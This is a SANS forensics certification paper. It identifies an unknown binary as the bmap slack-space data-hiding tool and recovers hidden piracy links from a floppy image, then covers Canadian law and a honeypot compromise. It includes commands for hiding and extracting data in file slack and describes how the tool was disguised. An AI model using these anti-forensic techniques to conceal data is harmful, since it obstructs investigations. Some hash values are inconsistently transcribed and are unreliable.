Fight crime. Unravel incidents... one byte at a time.

Copyright SANS Institute
Author Retains Full Rights

Interested in learning more?
Check out the list of upcoming events offering "Advanced Incident Response, Threat Hunting, and Digital Forensics (FOR508)" at http://digital-forensics.sans.org/events/
GCFA Practical Assignment

GCFA - Practical Assignment
A Linux 7.3 Compromise

Abstract: This is a three part paper. The first part is an analysis of a floppy with an unknown program provided by GIAC. The second is a forensic analysis of a compromised Linux RedHat 7.3 system and the final section answers legal questions provided by GIAC using Canadian laws.

Date: November 21, 2003
Author: Kevin Miller
Version: 1.4
<table>
<table>
<thead>
<tr>
<th>Section</th>
<th>Title</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>ANALYSIS OF AN UNKNOWN BINARY</td>
<td></td>
</tr>
<tr>
<td></td>
<td>1.1. BINARY DETAILS</td>
<td>4</td>
</tr>
<tr>
<td></td>
<td>1.2. PROGRAM DESCRIPTION</td>
<td>10</td>
</tr>
<tr>
<td></td>
<td>1.3. FORENSIC DETAILS</td>
<td>17</td>
</tr>
<tr>
<td></td>
<td>1.4. PROGRAM IDENTIFICATION</td>
<td>18</td>
</tr>
<tr>
<td></td>
<td>1.5. LEGAL IMPLICATIONS</td>
<td>20</td>
</tr>
<tr>
<td></td>
<td>1.6. INTERVIEW QUESTIONS</td>
<td>22</td>
</tr>
<tr>
<td></td>
<td>1.7. CASE INFORMATION</td>
<td>23</td>
</tr>
<tr>
<td></td>
<td>1.8. ADDITIONAL INFORMATION</td>
<td>25</td>
</tr>
<tr>
<td>2</td>
<td>FORENSIC ANALYSIS - REDHAT 7.3 SYSTEM</td>
<td>26</td>
</tr>
<tr>
<td></td>
<td>2.1. SYNOPSIS OF CASE FACTS</td>
<td>26</td>
</tr>
<tr>
<td></td>
<td>2.2. SYSTEM DESCRIPTION</td>
<td>27</td>
</tr>
<tr>
<td></td>
<td>2.3. HARDWARE DESCRIPTION</td>
<td>28</td>
</tr>
<tr>
<td></td>
<td>2.4. MEDIA IMAGE</td>
<td>29</td>
</tr>
<tr>
<td></td>
<td>2.5. MEDIA ANALYSIS</td>
<td>32</td>
</tr>
<tr>
<td></td>
<td>2.6. TIMELINE ANALYSIS</td>
<td>46</td>
</tr>
<tr>
<td></td>
<td>2.7. RECOVER DELETED FILES</td>
<td>50</td>
</tr>
<tr>
<td></td>
<td>2.8. STRING SEARCH</td>
<td>52</td>
</tr>
<tr>
<td></td>
<td>2.9. CONCLUSIONS</td>
<td>54</td>
</tr>
<tr>
<td>3</td>
<td>LEGAL ISSUES OF INCIDENT HANDLING</td>
<td>55</td>
</tr>
<tr>
<td></td>
<td>3.1. QUESTIONS:</td>
<td>55</td>
</tr>
<tr>
<td>APPENDICES</td>
<td></td>
<td>61</td>
</tr>
<tr>
<td>A</td>
<td>Prog file strings listing</td>
<td>61</td>
</tr>
<tr>
<td>B</td>
<td>Bmap-1.0.20.tar.gz file list</td>
<td>91</td>
</tr>
<tr>
<td>C</td>
<td>Some Company – Acceptable Use Policy</td>
<td>94</td>
</tr>
<tr>
<td>D</td>
<td>Live Response Review</td>
<td>97</td>
</tr>
<tr>
<td>E</td>
<td>Live response File listings</td>
<td>106</td>
</tr>
<tr>
<td></td>
<td>startime.txt</td>
<td>106</td>
</tr>
<tr>
<td></td>
<td>w.txt</td>
<td>106</td>
</tr>
<tr>
<td></td>
<td>netsat-sockets.txt</td>
<td>106</td>
</tr>
<tr>
<td></td>
<td>ls_of.txt</td>
<td>108</td>
</tr>
<tr>
<td></td>
<td>ps.txt</td>
<td>171</td>
</tr>
<tr>
<td></td>
<td>lsmod.txt</td>
<td>173</td>
</tr>
<tr>
<td></td>
<td>netstat-routes.txt</td>
<td>174</td>
</tr>
<tr>
<td></td>
<td>ifconfig.txt</td>
<td>174</td>
</tr>
<tr>
<td></td>
<td>Proc-filesystem.txt</td>
<td>174</td>
</tr>
<tr>
<td></td>
<td>stoptime.txt</td>
<td>177</td>
</tr>
</tbody>
</table>
</table>
Document Conventions:

The Arial 12 point font is the standard font used.

The Courier New 10 and 12 point fonts are used for:

- Commands that were run
- Results from the running of different commands, logs etc.

Bold text within screen shots and text boxes added by author.
1. Analysis of an Unknown Binary

1.1. Binary Details

The objective is to identify the purpose of an unknown binary named ‘prog’ from a compressed floppy image obtained from GIAC. The file binary_v1.4.zip was downloaded from the SANS - GIAC website on Oct 14, 2003 at 10:19:00 CST. The examiner was Kevin Miller. The system used for the analysis was an IBM Thinkpad A31, with 1GB RAM, 60GB hard drive. The evaluation was performed using EnCase v4.14 and two VMWare workstations in a host only environment. The VMWare workstations used for the evaluation were Redhat 7.3.

Below is the evidence information provided by GIAC with the floppy:
- Tag# fl-160703-jp1
- 3.5 inch TDK floppy disk
- MD5: 4b680767a2aed974cecc5fbcfbf84cc97a
- fl-160703-jp1.dd.gz

The MD5 checksum from the file fl-160703-jp1.dd.gz was verified to ensure the MD5 checksum matched the tag information obtained from GIAC, see Figure 1. Winzip was used to uncompress the file and another md5checksum was done on the uncompressed file also shown in Figure 1, MD5 hashes from floppy.

![Figure 1, MD5 hashes from floppy](image-url)
The floppy image was uncompressed, previewed then acquired with EnCase v4.14. The MD5 hash obtained from the uncompressed image file was compared to the MD5 hash calculated during the EnCase acquire. Both the MD5 Acquisition and Verify hashes matched the MD5 checksum from the uncompressed image file. The screen shot in Figure 2 shows the acquisition date and time, Acquisition Hash and Verification Hashes. For clarity the information from Figure 2 is reprinted below.

![EnCase Report Screen shot - MD5 Verification](image)

**Figure 2. EnCase Report Screen shot - MD5 Verification**
Using EnCase the file ‘prog’ was checked and the report tab was selected in the detail pane to obtain the File and MACTime information, file permissions and MD5 hash of the file.

![EnCase Forensic Edition](image)

Figure 3. EnCase screen shot of file information for ‘prog’

The following information is provided by the EnCase report tab:

- The file atime is 07/16/03 12:12:45am
- The file ctime is 07/14/03 08:24:00am
- The file mtime is 07/16/03 12:05:33am
- File owner 502
- Group owner 502
- File size 487476
Using EnCase the ‘prog’ file was exported (see Figure 4) and transferred to the VMware Linux 7.3 machine. The file was verified with md5sum in Figure 5. The file byte count matched the logical byte count from EnCase of 487476.

![Selection](image1.png)

Figure 4. EnCase export of prog file.

![Linux 7.3 - Sans (local) - [Ctrl-Alt-F4] - VMware Workstation](image2.png)

Figure 5. MD5sum – byte count – filetype for ‘prog’ file (VMware)

The ‘prog’ MD5 sum matches both MD5 checksums from EnCase and the VMware workstation.

```
Output from prog.md5 => 7b80d9aff486c6aa6aa3efa63cc56880 prog
```
The file command was run to determine the file type. Lines of special interest were:

- ELF executable – the kernel recognizes the file as a Unix executable.
- Statically linked – the library files required for execution are included when the file is compiled. The file is independent of the library files on the machine it is run on.
- Stripped – the symbols have been removed from the file. This keeps the file size smaller and does not allow for easy identification.¹

The strings command was run to list out printable characters from the prog file. The complete strings output is listed in Appendix A. The lines from the strings output that were used for further investigation are shown below:

```
# mft_getopt
.
.
flag-
flagized option invocation
examining an enum!
matched against an enum val
examining a venum!
matched against an venum val
.
mft_log_shutdown
.
.
display fragmentation information for the file
frag
wipe the file from the raw device
.
autogenerate document ...
1.0.20 (07/15/03)
newt
use block-list knowledge to perform special operations on files
prog
main
off_t too small!
07/15/03
invalid option: %s
.
.
unable to raw open %s
Unable to determine count
Unable to allocate buffer
%s has holes in excess of %ld bytes...
error mapping block %d (%s)
nul block while mapping block %d.
.
```

¹ Linux RedHat 7.3 “Man page for ‘file’ (man file)”, ver 3.37 of file - gcc binutils.
The bolded lines above were searched using www.google.com. The string that provided the first solid lead was:

“use block-list knowledge to perform special operations on files”.
The google search led to http://old.lwn.net/2000/0413/announce.php3, a website that had the full search string text listed on it. The link on this page identified the program as bmap. The bmap references, (bolded and underlined above) provided further confirmation of the identity of the ‘prog’ file as the program ‘bmap’. The line:

```
"1.0.20 (07/15/03)"
```

indicated the bmap version as 1.0.20 and the date the file was compiled as (07/15/03).

### 1.2. Program Description

To determine the type of program the ‘prog’ file was, the command ‘file prog’ was used. The ‘file’ command displays the signature of a file. The output of the ‘file prog’ command showed the program to be an;

```
"ELF 32-bit LSB executable for the Intel 80386 platform"
```

As indicated in section 1.1 the strings search on google showed the file to be a program called “bmap”. The details from [http://old.lwn.net/2000/0413/announce.php3](http://old.lwn.net/2000/0413/announce.php3) state the program is used to “perform special operations on files”.

What is the file used for? From the comments taken from strings analysis we can restate it as “the prog file – use(s) block-list knowledge to perform special operations on files”. The bmap program is referred to as a data hiding tool.

The last time the ‘prog’ file was used is indicated by the atime, 07/16/03 12:12:45am from the EnCase report. The MACtimes are:

- last access time (atime) of this program was 07/16/03 12:12:45am
- last modified time (mtime) of the program was 07/16/03 12:05:33am.
- last change time (ctime) of the program was 07/14/03 08:24:00am

### Step-by-Step Analysis

An isolated VMWare lab environment was used to analyze and run the file prog. The lab environment consisted of:

- Linux Redhat 7.3 VMWare workstation 1, (hereafter referred to as Redhat1), was setup as a network sniffer with an IP address of 192.168.75.131. Snort (v1.9) was used on the first Linux 7.3 VMWare workstation to monitor network traffic.

---

The command for running snort was “snort –vd”.

- Linux Redhat 7.3 VMWare workstation 2, (hereafter referred to as Redhat2), was setup to run the program with an IP address of 192.168.75.132. The program gdb (v5.1.90CVS-5) and strace were used to analyze the ‘prog’ file. Aide (v0.9) was installed and run on all files. Aide (Advance Intrusion Detection Environment) was configured to do an MD5 checksum of the file system. To allow for a known state and repeated execution of the prog file the VMWare workstation was configured an “undoable”. A unix live response consisting of the following commands: date, w, ls, ps, netstat, lsm and ls was run before and after executing the ‘prog’ file.

The following outlines the forensic analysis method used. The method used followed the methodology from the Sans Course “Reverse-Engineering Malware: Tools and Techniques Hands-on” course.

1) On Redhat2 workstation ‘md5sum’ was used to verify the file integrity (see Figure 5). The command ‘ll’ was used to obtain the byte size of the program. The command ‘file prog’ was run to identify the file type. From the ‘file prog’ command we know that:
   a) The file has been statically compiled. This means the library files are part of the file. This ensures the library files required to run the ‘prog’ program are available) and
   b) The file has been stripped. This means the symbols and file comments, that can provide clues on how the program works, have been removed.

2) On Redhat2 the strings command was used to dump the strings from the file (see Appendix A). The strings were analyzed and the program was identified as bmap. The ld command provided no reference library information due to the stripping of the prog file. The reference site for bmap was found and investigated further. The link provided the site ftp://ftp.scyld.com/pub/forensic_computing/bmap/. The source for version 1.0.20 was downloaded.

3) The following was done on the Redhat2. Aide 0.9 was run to create the initial MD5 checksum of files on the system. The Live response kit was run to record the status of the system. On Redhat2 the command ‘snort –dv’ was run to record any network traffic. A comparison of the MD5 checksums from before and after runnings of the ‘prog’ file is shown below.
The differences were identified and explained by different date and time stamps and expected changes between running processes.

The output from running the prog file was “no filename. Try ‘--help’ for help”. Analysis of snort output on Redhat2 showed no network traffic.

4) To ensure the environment was clean the VMWare environment was restarted without saving the previous session. The source code for bmap version 1.0.20 was unpacked. The bmap Makefile was modified to statically link libraries. The –static switch was added to the LDFLAGS line. The LDFLAGS line was now:

```
LDFLAGS = -L$(MFT_LIB_DIR) -lmft -static
```

The bmap file was stripped using the strip command:

```
strip bmap
```

The ‘bmap’ file was compared with the ‘prog’ file using “md5sum”, “file” and “ll” output. The output screen is shown in Figure 7. The MD5 checksum did not match the MD5 checksum of the ‘prog’ file. The ‘file’ command output and byte count matched.
Figure 7. md5sum - byte count -file type for 'bmap' file (VMWare)

The ‘prog’ file and the newly compiled ‘bmap’ file were run with the –help switch. The output from both is shown:

```
[root@localhost bin1.4]# ./prog --help
prog1.0.20 (07/15/03) newt
Usage: prog [OPTION]... [<target-filename>]
use block-list knowledge to perform special operations on files

--doc VALUE
where VALUE is one of:
  version display version and exit
  help display options and exit
  man generate man page and exit
  sgml generate SGML invocation info
--mode VALUE
where VALUE is one of:
  m list sector numbers
  c extract a copy from the raw device
  s display data
  p place data
  w wipe
  chk test (returns 0 if exist)
  sb print number of bytes available
  wipe wipe the file from the raw device
  frag display fragmentation information for the file
  checkfrag test for fragmentation (returns 0 if file is fragmented)
--outfile <filename> write output to ...
--label useless bogus option
--name useless bogus option
```
The omitted pieces of the ‘bmap –help’ output are shown in bold red in the output above. A comparison of the strings output from ‘prog’ and ‘bmap’ showed the modifications to the help strings for the prog file. The references that were “left out” point to the purpose of the program. The strings searches were analyzed and word references were extracted to two files. The files were compared using excel. The words in the bmap strings output that are not found in the “prog” strings output are shown in bold red and the changed references are shown in bold blue in Table 1.

<table>
<thead>
<tr>
<th>Bmap strings output</th>
<th>Prog strings output</th>
</tr>
</thead>
<tbody>
<tr>
<td>wipe the file from the raw device</td>
<td>wipe the file from the raw device</td>
</tr>
<tr>
<td>print number of slack bytes available</td>
<td>print number of bytes available</td>
</tr>
<tr>
<td><strong>slackbytes</strong></td>
<td>test for slack (returns 0 if file has slack) test (returns 0 if exist)</td>
</tr>
<tr>
<td>---------------</td>
<td>---------------------------------------------------------------</td>
</tr>
<tr>
<td><strong>checkslack</strong></td>
<td>wipe slack wipe</td>
</tr>
<tr>
<td><strong>wipeslack</strong></td>
<td>place data into slack place data</td>
</tr>
<tr>
<td><strong>puts slack</strong></td>
<td>display data in slack space display data</td>
</tr>
<tr>
<td><strong>slack</strong></td>
<td>extract a copy from the raw device extract a copy from the raw device</td>
</tr>
<tr>
<td><strong>carve</strong></td>
<td>list sector numbers list sector numbers</td>
</tr>
<tr>
<td></td>
<td>operation to perform on files operation to perform on files</td>
</tr>
<tr>
<td></td>
<td>mode mode</td>
</tr>
<tr>
<td></td>
<td>generate SGML invocation info generate SGML invocation info</td>
</tr>
<tr>
<td></td>
<td>sgml sgml</td>
</tr>
<tr>
<td></td>
<td>generate man page and exit generate man page and exit</td>
</tr>
<tr>
<td></td>
<td>display options and exit display options and exit</td>
</tr>
<tr>
<td></td>
<td>help help</td>
</tr>
<tr>
<td></td>
<td>display version and exit display version and exit</td>
</tr>
<tr>
<td></td>
<td>version version</td>
</tr>
<tr>
<td></td>
<td>autogenerate document ... autogenerate document ...</td>
</tr>
<tr>
<td>1.0.20 (07/15/03)</td>
<td>1.0.20 (07/15/03)</td>
</tr>
<tr>
<td><strong><a href="mailto:newt@scyld.com">newt@scyld.com</a></strong></td>
<td>newt newt</td>
</tr>
<tr>
<td><strong>bmap</strong></td>
<td>use block-list knowledge to perform special operations on files use block-list knowledge to perform special operations on files</td>
</tr>
<tr>
<td><strong>prog</strong></td>
<td>display options and exit display options and exit</td>
</tr>
</tbody>
</table>

Table 1 String comparison - prog and bmap files

The bmap.c file was modified to replicate the prog file as follows:

- Removed 2 lines shown below that referenced "wipe, wipe slack"

  ```c
  {"wipeslack","wipe slack",
   0,MO_INT_CAST(BMAP_WIPESLACK)},
  ```

- Changed from "map" to "m".
- Changed from "carve" to "c".
- Changed from "slack" to "s" and removed "slack space" from line.
- Changed from "puts slack" to "p" and removed "into slack" from line.
- Changed "checkslack" to "chk", remove "for slack" and changed "file has slack" to "exist"
- Changed "slackbytes" to "sb" and removed "slack" from line.
• Seached on “bmap” and changed to “prog”
• Changed author in Make file from “newt@scyld.com” to “newt”
• Added -static to LD_FLAGS on line 30 in Makefile.
• Changed date to Jul 15, 2003

The objective was to see if the MD5 checksum could be replicated identically. The md5sum did not match, the bmap MD5 was “bcade02b97d17f20f0937df10511fcf8”. This is attributed to not having the compile options and specifics on the versions of library files used to compile the prog executable.

The strace program was used to follow the interaction between the ‘prog’ and ‘bmap’ files and the operating system. The strace output from both “prog –help” and “bmap –help” are shown below. Note: No differences were found.
1.3. Forensic Details

When a program is installed on a system its MD5 checksum can be calculated and used as search criteria. Other program identifiers, such as the strings output in Section 1.1 above, can be used for keyword searches of the slack space and deleted files.

The “prog” file was statically linked as seen in the file output shown in Figure 5. Being statically linked meant all functions required for program execution are compiled as part of the binary. The execution of ‘prog’ did not rely on specific libraries being present on the system. Based on the ‘bmap’ and ‘prog’ analysis the program allows for the hiding of files in the slack space of other files. The key leads from the string search were:

```
1.0.20  (07/15/03)
   newt
   use block-list knowledge to perform special operations on files
   .
   
   bmap_get_block_size
   bmap_map_block
   .
   bmap_raw_open
   .
   
   bmap_raw_close
   .
```

The forensic details uncovered in step-by-step analysis in section 1.2 provided direction for further investigation. No network traffic was seen with “snort –dv” when the ‘prog’ file was executed. The strace comparisons, aide file system checksum comparisons and live response analysis done in section 1.2 proved the ‘prog’ file to be identical to the ‘bmap’ program with explainable differences to account for the MD5 checksum and strings output differences.

Investigation focused on the floppy disk. The purpose was to see if any data had been hidden in the slack space of the files on the floppy.

Using EnCase the Floppy dd image was restored to a floppy and mounted as read-only in the Redhat1 VMWare workstation. The bmap program was run on files using the –slack switch. The /Docs/Sound-HOWTO-html.tar.gz file had data in the slack space. Below are the commands run to extract the data from the slack space:

```
[root@localhost bin1.4]# ./bmap --slack /mnt/floppy/Docs/Sound-HOWTO-html.tar.gz > Sound-slack.out
```

Getting from block 190.
file size was: 26843
slack size: 805
block size: 1024
[root@localhost bin1.4]# file Sound-slack.out
[root@localhost bin1.4]# zcat Sound-slack.out

Ripped MP3s - latest releases:

www.filesshares.org/
www.convenience-city.net/main/pub/index.htm
emmpeethrees.com/hidden/index.htm
ripped.net/down/secret.htm

***NOT FOR DISTRIBUTION***

[root@localhost bin1.4]#

The strings output was used to locate the source code for the "prog" program. The leads from the slack space information above would be used to investigate the allegations against Mr. Price.

### 1.4. Program Identification

The source for bmap-1.0.20 was located at [ftp://ftp.scyld.com/pub/forensic_computing/bmap/](ftp://ftp.scyld.com/pub/forensic_computing/bmap/). The search to locate the site was based on string searches from the binary. See section 1.1 for details on the strings search used. The program 'bmap' is used for hiding data in slack space. The source code was obtained and the bmap.c file was edited as indicated in section 1.2. See Appendix B for a listing of the files from the bmap-1.0.20.tar.gz.

As seen in the section of Makefile below the switch "-static" was added.

```makefile
.
.
BOGUS_MAJOR = 123
BOGUS_MINOR = 123
BOGUS_FILENAME = "/*/image"

CFLAGS = -Wall -g
CPPFLAGS = -I$(MFT_INCLUDE_DIR) -Iinclude
LDFLAGS = -L$(MFT_LIB_DIR) -lmft -static

BINARIES = bmap slacker bclump
LIBRARIES = $(STATIC_LIBRARIES) $(SHARED_LIBRARIES)
.
.
```

The compile of the "bmap" executable was done by typing "make" in the bmap-1.0.20 directory. To strip the file the command used was "strip bmap". An MD5 comparison of
the file showed it to be different from the "prog" file. String comparisons were done and can be seen in Table 1 on page 15. The bmap.c file and Makefile were modified according to section 1.3 and bmap was recompiled using make. The MD5 output still didn’t match the "prog" file. The byte count was the same and the strings output between the two files showed:

```
[root@localhost bmap-1.0.20-modified]# ll bmap
-rwxr-xr-x 1 root root 611550 Jul 15 13:53 bmap
[root@localhost bmap-1.0.20-modified]# strip bmap
[root@localhost bmap-1.0.20-modified]# ll bmap
-rwxr-xr-x 1 root root 487476 Jul 15 13:53 bmap
[root@localhost bmap-1.0.20-modified]# md5sum bmap
92860c2996dca14ac353e9765cb691b2  bmap
[root@localhost bmap-1.0.20-modified]# ll ../prog
-rwxr--r-- 1 root wheel 487476 Oct 16 2003 ../prog
[root@localhost bmap-1.0.20-modified]# md5sum ../prog
7b80d9aff486c6aa6aa3e6a63cc56880 ../prog
```

Section 1.2 shows the straces of the two programs with no differences. The conclusion drawn is the "prog" file is different from the "bmap" due to specific changes made to hide the purpose of the file by the individual who compiled the program. Some of the reasons for the difference could be version differences in library file, version differences in the compiler. The GCC compiler used in the VMWare workstation was 2.96 20000731. A search of the unallocated cluster with EnCase is shown in Figure 8.

![Figure 8. GCC version information located in Unallocated Clusters](image-url)
The gcc version indicated was 3.2.2 20030222, this can account for the differences in the bmap and prog MD5 checksums.

1.5. Legal Implications

An image of the prog file was found in the unallocated clusters on the floppy disk. With the evidence from the slack space area of the Sound-HOWTO-html.tar.gz file we know the “prog” program was used to hide information. The information from the slack space can lead to potential violation of the Criminal Code of Canada, Part IX, Section 342.1 and Part XI, Section 430. The renaming of bmap and the alteration of the output help commands, statically linking the file and stripping it, demonstrates a desire to hide intentions. We know the “prog” file has been used to hide web addresses for ripped MP3 files. Assuming other evidence proves violation of the Copyright Act of Canada then additional charges and civil action can be taken.

If the servers were not located in Canada then it would not be a violation of Canadian law. If the servers are within the United States then the information would be passed on to U.S. authorities.

Assuming the MP3 files are on servers that are located in Canada, then unauthorized access laws could be applied. One of the Canadian laws that would be violated is the Criminal Code of Canada, Part IX – Offences Against Rights of Property S.342.1 (1) (a)-(d).

342.1 (1) Every one who, fraudulently and without colour of right,
(a) obtains, directly or indirectly, any computer service,

(b) by means of an electro-magnetic, acoustic, mechanical or other
device, intercepts or causes to be intercepted, directly or
indirectly, any function of a computer system,

(c) uses or causes to be used, directly or indirectly, a computer
system with intent to commit an offence under paragraph (a) or (b) or
an offence under section 430 in relation to data or a computer
system, or

(d) uses, possesses, traffics in or permits another person to have
access to a computer password that would enable a person to commit an
offence under paragraph (a), (b) or (c)

is guilty of an indictable offence and liable to imprisonment for a
term not exceeding ten years, or is guilty of an offence punishable
on summary conviction. ³

The mischief law may also be applied, under the Criminal Code of Canada, Part XI – Willful and Forbidden Acts in Respect of Certain Property. Section 428 defines property and Section 430 (1) (a)-(d) and (1.1) (a)-(d) defines Mischief:

**Definition of “property”**

**428.** In this Part, “property” means real or personal corporeal property.

**Mischief**

**430.** (1) Every one commits mischief who willfully

(a) destroys or damages property;

(b) renders property dangerous, useless, inoperable or ineffective;

(c) obstructs, interrupts or interferes with the lawful use, enjoyment or operation of property; or

(d) obstructs, interrupts or interferes with any person in the lawful use, enjoyment or operation of property.

**Mischief in relation to data**

(1.1) Every one commits mischief who willfully

(a) destroys or alters data;

(b) renders data meaningless, useless or ineffective;

(c) obstructs, interrupts or interferes with the lawful use of data; or

(d) obstructs, interrupts or interferes with any person in the lawful use of data or denies access to data to any person who is entitled to access thereto.

(5) Every one who commits mischief in relation to data

(a) is guilty of an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) is guilty of an offence punishable on summary conviction.

(5.1) Every one who willfully does an act or willfully omits to do an act that it is his duty to do, if that act or omission is likely to constitute mischief causing actual danger to life, or to constitute mischief in relation to property or data,

(a) is guilty of an indictable offence and liable to imprisonment for a term not exceeding five years; or

(b) is guilty of an offence punishable on summary conviction.  

---

The Acceptable use policy from “SANS – Acceptable use policy template” was used as Some Company’s policy. Section 4.3 “Unacceptable Use” outlines prohibited activities, we find the following

1. Violations of the rights of any person or company protected by copyright, trade secret, patent or other intellectual property, or similar laws or regulations, including, but not limited to, the installation or distribution of “pirated” or other software products that are not appropriately licensed for use by Some Company.

2. Unauthorized copying of copyrighted material including, but not limited to, digitization and distribution of photographs from magazines, books or other copyrighted sources, copyrighted music, and the installation of any copyrighted software for which Some Company or the end user does not have an active license is strictly prohibited.

The “prog” program has been used to hide data relating to the alleged distribution of copyrighted material. According to Section 5.0 of the policy “violating the policy can subject the employee to disciplinary action, up to and including termination of employment”.

### 1.6. Interview Questions

The questions I would use to help prove a subject was the one who installed and executed the “prog” file are below:

Hi, I’m Kevin, I have a few questions for you:

1) Can you tell me when you were on holidays this year?

2) You were at work on “July 18, 2003”?

The reason for questions one and two is to establish that the suspect was at work during the time the program was installed and executed.

3) What is your background with computers?

The reason for question three is to determine the level of experience the suspect has with computers.

4) Does everyone use their own login ID’s in the area?
   What login ID do you use?
   Are there any other logon IDs that you use?

The reason for asking these questions is gather the various user IDs the suspect uses. This information will assist the investigators when analyzing log evidence and ownership
5) What workstations do you use? Do you access any servers for your work function?

Knowing what workstation and servers the suspect admits to having access to can help in gathering other evidence. Verification may be available through network event logging and / or other co-worker corroboration.

6) I see you have extensive computer experience. We’ve found a program called ‘prog’ on the floppy disk in your office. Can you tell me the purpose of this program?

The suspect has an opportunity to provide an explanation for the program and its intended purpose.

7) Can you tell me the last time you used the ‘prog’ program and what you used it for?

Question seven hits the suspect head on, he is given an opportunity to give his side of the story.

1.7. Case Information

To assist System Administrators in detecting the use of the “prog” file or files with hidden slack space data, a sweep of servers the suspect had, or could have had access to would be conducted. The sweep would start with a basic find sweep for the “prog” file, starting with accounts the suspect used. The next step for System Administrator would be to use the bmap tool and locate files with data in slack space. The command to use would be:

```
# find / -name "*" -type f -exec bmap -checkslack {} 
```

The command will start at root (/) looking for all (-name "") files (-type f) and run “bmap –checkslack” on the file and print this out. As seen in Figure 9:
Figure 9 shows the file Sound-HOWTO-html.tar.gz with “slack”. To extract the slack data the command was run:

```
"bmap -slack /mnt/floppy/Sound-HOWTO-html.tar.gz > Sound-slack.out"
```

The file command was run on “file Sound-slack.out”. The result showed the file as a gzip file. The program zcat was used to parse the file “zcat Sound-slack.out”. The output is reprinted below. (refer to section 1.3 for the actual session outputs.)

```
[root@localhost bin1.4]# zcat Sound-slack.out
Ripped MP3s - latest releases:

www.fileshares.org/
www.convenience-city.net/main/pub/index.htm
emmpeethrees.com/hidden/index.htm
ripped.net/down/secret.htm

***NOT FOR DISTRIBUTION***
```

Other pieces of evidence are taken from the time line of the files on the disk and the letter to Mike. The time line shows the Sound-HOWTO-html.tar.gz document last written (ctime) and last accessed (atime) as 08:11:50am. The nc-1.10.16.i386.rpm..rpm file is accessed next with a ctime and atime of 08:12:15am, and ebay300.jpg is accessed with ctime and atime of 08:12:48am. The letter to Mike (Mkemsg.doc) has ctime, atime and mtime of 08:48:15am. The content in the letter was:

```
Hey Mike,
I received the latest batch of files last night and I’m ready to rock-n-roll (ha-ha).
```
I have some advance orders for the next run. Call me soon.

JP

With the evidence from the slack data, the time line and the letter to Mike, we can proceed to the web servers for further investigation and evidence gathering.

1.8. Additional Information


2. Forensic Analysis - RedHat 7.3 system

2.1. Synopsis of Case Facts

The honeynet was put into service on June 27, 2003. The honeynet (see Figure 10) consisted of:

- 1 firewall configured with external, private and demilitarized zone (DMZ) network interfaces.
- 1 default server install of Linux 7.3 running an Apache web server.
- 1 default server install of Windows 2000 running and IIS web server.
- 1 sebek (v.2.0.1) host running on Linux 7.3 with 2 network interfaces.
- 1 snort (v.2.0.0) host running on FreeBSD (v4.7) with 2 network interfaces.
- 1 Linux 8.0 server setup as a central log host with one network interface.

On the afternoon of June 29, 2003 logging events from the network IDS and firewall alerted honeynet staff to scanning activity originating from the Linux 7.3 honeypot system. The firewall rules were modified to deny traffic to and from the system.

On June 30, 2003 at 5:18 pm a live response procedure was run on the Linux 7.3 computer and at 5:31 pm the power cord to the box was unplugged. The hard drive was removed and an image of the hard drive was made using a FastBloc device and EnCase v4.14 software.

The log files from the snort host and sebek host were obtained. Delays in securing the log evidence from the log server required a dd image be taken of the log partition for forensic recovery and analysis. Md5 checksums were done for all logging evidence and burned to CD.

NTP synchronization problems required time synchronization adjustments for evidence gathered. The analysis is described below.
2.2. System Description

The hardware of the Linux 7.3 honeypot machine was:

- Compaq Deskpro Pentium II 400 Mhz
- 128MB of RAM
- 1 - 6.4GB IDE harddrive
- 1 – CDROM IDE
- 1 – 10/100 onboard Ethernet adapter
- 1 – 3.5” floppy drive

The Redhat Linux 7.3 honeypot system installation included the WWW (Apache) server and the sebek2\(^5\) kernel module. The kernel module was configured to hide traffic dumped on the wire from any sniffers installed on the victim machine. The sebek2 logging traffic was dumped to ip address 0.0.0.0 to log keystrokes from the server. The network configuration is shown in Figure 10.

The snort (v2.0.0) host was configured to provide network intrusion detection, alerting and tcpdump binary packet capture. This operating system had FreeBSD 4.7 as the operating system.

The sebeksniff host was configured to sniff for UDP packets on port 1101. The sebeksniff system had Linux 7.3 as the operating system.

The log server was configured to accepting logging from the firewall and the honey pot systems. The operating system on the log server was Linux 8.0.

2.3. Hardware Description

The following is a list of evidence items:

<table>
<thead>
<tr>
<th>Tag #’s</th>
<th>Description</th>
</tr>
</thead>
</table>
| Tag # 01 | Western Digital AC26400-60RTT0  
Hard Drive, Serial #: WM627 232 5552, Size: 6448.6 MB |
| Tag # 02 | Compaq Deskpro, 400/100 MHz, Serial #: 6919BW42A085 |
| Tag # 03 | Western Digital AC26400-60RTT0  
Hard Drive, Serial #: WM627 232 3421, Size: 6448.6 MB |
| Tag # 04 | Compaq Deskpro, 400/100 MHz, Serial #: 6919BW42A129 |
| Tag # 05 | CDROM labeled “Casefile 10/10/03 logs” with initials FT |
Tag # 01 came from the Linux 7.3 honeypot computer identified in Tag # 02 and Tag # 03 was taken from the log server system identified in Tag #04. Both systems were identical Compaq Deskpro P400s with an internal hard drive, 128MB of RAM, internal 3.5" high density floppy drive and sound card. Tag items # 01 through Tag # 04 were seized from Some Company located in the computer room on the third floor at 123 Anywhere Street, Anytown, Manitoba, Canada.

The CDROM, Tag # 05, contained the log files from the sebeksniff host, logs from the snort v2 host, the var partition dd image from the logserver (Tag #03), the live response files from the linux 7.3 host and the MD5 checksum files for each file on the CDROM.

### 2.4. Media Image

The hard drive listed as Tag # 01 was connected to the FastBloc device. The device used is a FastBloc “Classic” from Guidance Software ([www.guidancesoftware.com](http://www.guidancesoftware.com)). FastBloc is a hardware write-blocked device. The FastBloc device was connected to a PCMCIA SCSI card installed in a ThinkPad model A31 laptop running EnCase v4.14, as shown in Figure 11. The EnCase software was used to acquire an EnCase image evidence file of the drive. During the preview and acquisition phases the EnCase software provides a verification checkbox that the device being viewed or acquired is write protected. The write protection ensures the evidence is not changed or modified.

![Figure 11. FastBloc - drive image Tag #01](image-url)
The MD5 hash was calculated during the preview of Tag #02 using EnCase. The preview MD5 checksum is shown in Figure 12.

Figure 12. Preview MD5 Hash of Linux 7.3 honeypot system

The check box to “Search, Hash and Signature Analysis” was selected. This box ensures the image file is added to the case, performs an MD5 hash on all files on the drive and does a signature analysis.

Figure 13. Initial search, MD5 of files and Signature analysis.
To ensure the MD5 checksum from the preview was identical to the acquired evidence file another MD5 hash was done. The resulting hash is shown in Figure 15. We have verified the acquisition evidence file and the preview MD5 checksum are identical. The MD5 hash value can be recalculated any time during the analysis to verify the integrity of the evidence, see Figure 15.

